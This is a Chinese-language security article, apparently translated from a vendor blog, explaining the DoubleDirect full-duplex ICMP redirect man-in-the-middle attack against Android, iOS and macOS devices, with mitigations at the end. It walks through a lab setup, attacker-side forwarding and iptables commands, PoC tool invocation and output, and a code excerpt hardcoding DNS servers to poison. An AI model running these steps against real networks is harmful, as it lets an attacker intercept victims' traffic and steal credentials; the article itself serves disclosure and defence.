走近科学：剑指Android和iOS系统的DoubleDirect中间人

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所属分类：移动安全

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安全研究员发现一种新型的中间人攻击技术，它的攻击目标主要是运行Android系统和iOS系统的智能手机和平板电脑。

这种被称为DoubleDirect的技术属于中间人（MITM）攻击的一种。攻击者可以利用这种技术把受害者访问谷歌、Facebook、Twitter上的流量重定向到攻击者控制的设备上，而一旦受害者的流量被重定向了，攻击者就可窃取受害者的私人数据，比如，邮箱ID、登录凭证、银行信息等，当然他还可以在受害者的机器上安装木马等恶意软件。

旧金山的一家移动安全公司Zimperium在其博客中详细介绍了这一威胁。黑客正在利用DoubleDirect技术进行针对性攻击，范围包括美国、英国、加拿大在内的31个国家，5大互联网巨头——Google，Facebook，Hotmail，Live.com和Twitter。

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全双工的ICMP重定向中间人攻击

ICMP攻击是中间人攻击（MITM）的一种，传统的ICMP重定向攻击及其利用工具则类似于ettercap +半双工中间人攻击（MITM）。受害者因为ICMP重定向攻击被欺骗，路由器因为ARP欺骗攻击被毒化。这种ICMP攻击可以通过防御ARP攻击的传统手段相对轻松的防御住。

而DoubleDirect则有所不同，它通过ICMP（网间控制报文协议）重定向数据包改变主机路由表。ICMP重定向数据包会告诉主机有一个更好的路由路径可以达到目的地。改变受害者机器上的路由表可以使任意的网络流量流向特定的IP地址（比如攻击者的IP），然后攻击者就可以从中作梗发动中间人攻击了。在流量被重定向之后，攻击者可通过利用客户端漏洞攻击受害者的设备，从而访问受害者的网络。
通过研究DoubleDirect攻击，我们发现攻击者通过目前未知的技术，实现了全双工的ICMP重定向中间人攻击。而传统的ICMP重定向攻击是有半双工限制的。

DoubleDirect攻击是如何工作的？

Zimperium移动安全实验室在研究该攻击之后创建了一个攻击测试工具，它可以证明发动全双工ICMP重定向攻击是有可能的。ICMP重定向攻击的难点在于，攻击者必须预先知道受害者已经可到达的IP地址。

攻击者怎样知道受害者可达的IP地址呢？要回答这个问题我们应该先分析受害者的设备。

例如，当我们在浏览器中输入www.zimperium.com时，应用程序会发送一个DNS请求以找出www.zimperium.com主机的IP地址。

首先，我们会用ICMP重定向数据包把受害者设备上的所有DNS流量转发到我们的设备上。大多数时候我们都能预测到受害者使用的DNS服务器。

如果受害者与我们在同个局域网（LAN），那么受害者的DNS服务器也很有可能与我们通过DHCP（动态主机配置协议）所获得的DNS服务器相同。当然，有些移动设备使用的是默认的DNS服务器（8.8.8.8或者 8.8.4.4）。

我们还提供了一个简单有效的工具来研究DoubleDirect，单击这里即可下载。

如果想编译和运行这个工具，你需要在系统上安装libcrafter(https://code.google.com/p/libcrafter/）。libcrafter是一个C++开发的跨平台库，可以用来抓包和解包。在GNU/linux或者MAC OS X系统上编译，你需要执行以下的命令：

$ git clone https://github.com/pellegre/libcrafter 
$ cd libcrafter/libcrafter 
$ ./autogen.sh 
$ make 
$ sudo make install 
$ sudo ldconfig

值得注意的是，在配置libcrafter之前你需要安装抓包工具libpcap：

#apt-get install libpcap-dev

DoubleDirect实例：全双工ICMP重定向攻击

场景再现

网关=192.168.1.1

攻击机（Ubuntu）=192.168.1.105

受害机（GalaxyS4）=192.168.1.101

受害机配置

首先需要做的是，检查设备是否支持重定向。GalaxyS4会默认支持重定向：

# cat /proc/sys/net/ipv4/conf/all/accept_redirects 1

其次，如果你的设备不支持ICMP重定向但你又想测试这一攻击，那可以执行下面的命令：

# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

攻击机配置

为了保证攻击的正确进行，我们需要在攻击者设备上执行一些命令：

对数据流量进行转发（该方式具有暂时性，重启便失效。要想长久保持转发需要修改/etc/sysctl.conf）

# echo 1 > /proc/sys/net/ipv4/ip_forward

关闭攻击机的重定向设置。这很重要！我们需要告诉告诉攻击设备的内核：不要发送重定向

# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect

攻击演示\

编译DoubleDirect_poc.cpp文件：

$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter
$ ./doubledirect_poc
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****
[#] Usage: ./doubledirect_poc [options]

POC选项：

-i 指定网络接口

-v 受害机IP地址

-d 毒化的目标IP

当受害者访问一些网址时，我们会毒化一个受害者机器可达的远程IP地址，而不是进行局域网ARP欺骗。然后我们就让受害者的流量发向我们的设备，而不通过真正的网关。

当设备发送了一个目的地为8.8.8.8的IP数据包时，它本该经过网关（192.168.1.1）……

我们在攻击者设备上执行：

$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8
[#] Attack parameters :
[+] Interface : wlan0
[+] Victim IP address : 192.168.1.101
[+] Destination to poison : 8.8.8.8
[#] Gateway parameters :
[+] Gateway IP address : 192.168.1.1
[+] Gateway MAC address : *:*:*:*:AE:51
[#] My parameters :
[+] My IP address : 192.168.1.105

从上面的演示可以看出，我们是怎样毒化8.8.8.8为我们的IP192.168.1.105的。当受害者发送目的地为8.8.8.8的数据包时，它会把我们的设备作为网关，这样一来我们就可以嗅探到流向目的地的所有流量了。

一旦所有的DNS流量都通过我们的电脑转发了，我们通过DNS回应包获得IP地址，并可以向这些IP地址发送ICMP重定向数据包。这样，我们不仅能嗅探到受害者的所有DNS流量，还可以完全的将其转发到我们的设备上。

测试你是否易受DoubleDirect的攻击，我们可以写一个bash脚本，利用iptables进行IP转发：

# cat iptables_dobule_direct.sh
#!/bin/sh
if [ $# -lt 1 ]; then
echo "[@] Usage: `basename ${0}` "
echo "[@] Example: `basename ${0}` wlan0"
exit 0
fi
INTERFACE=${1}
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects
iptables --flush
iptables --zero
iptables --delete-chain
iptables -F -t nat
iptables --append FORWARD --in-interface $INTERFACE --jump ACCEPT
iptables --table nat --append POSTROUTING --out-interface $INTERFACE --jump MASQUERADE
# ./iptables_double_direct.sh wlan0

最后执行Zimperium DoubleDirect攻击测试工具：

# ./doubledirect_poc -i wlan0 -v 192.168.1.101
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****
[#] Attack parameters :
[+] Interface : wlan0
[+] Victim IP address : 192.168.1.101
[#] Gateway parameters :
[+] Gateway IP address : 192.168.2.1
[+] Gateway MAC address : 00:1f:*:*:*:*
[#] My parameters :
[+] My IP address : 192.168.2.103
DNS服务器是被硬编进代码（397行，DoubleDirect_poc.cpp文件）里的。
// Hardcoded DNS servers we want to redirect to our machine
startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway
startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8");
startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4");
startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); 
startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220");

应对策略

Android（安卓）、IOS、Mac OSX设备通常默认支持ICMP重定向。

要想知道你的OS X设备是否易受DoubleDirect攻击，可以执行以下命令：

sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"

要想使ICMP重定向在Mac失效可以执行以下命令（需要Root权限）：

# sysctl -w net.inet.ip.redirect=0

注：这种修复不具有持久性，要想使其长久的有效，你可以重启之后在命令行中添加启动脚本。

对于Android来说，大部分的Android设备都会默认支持重定向，要想使其失效，需要root设备并且执行以下命令：

# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects

哪些设备会受到攻击

受影响的系统包括

Android设备：大部分Android设备，包括Nexus 5 + Lollipop

iOS设备：最新iOS设备，包括iOS 8.1.1（）以外

Mac：Mac OS X Yosemite（优胜美地）

大部分Windows和GNU/Linux用户不会受到DoubleDirect的攻击，因为这些操作系统不支持ICMP重定向数据包。

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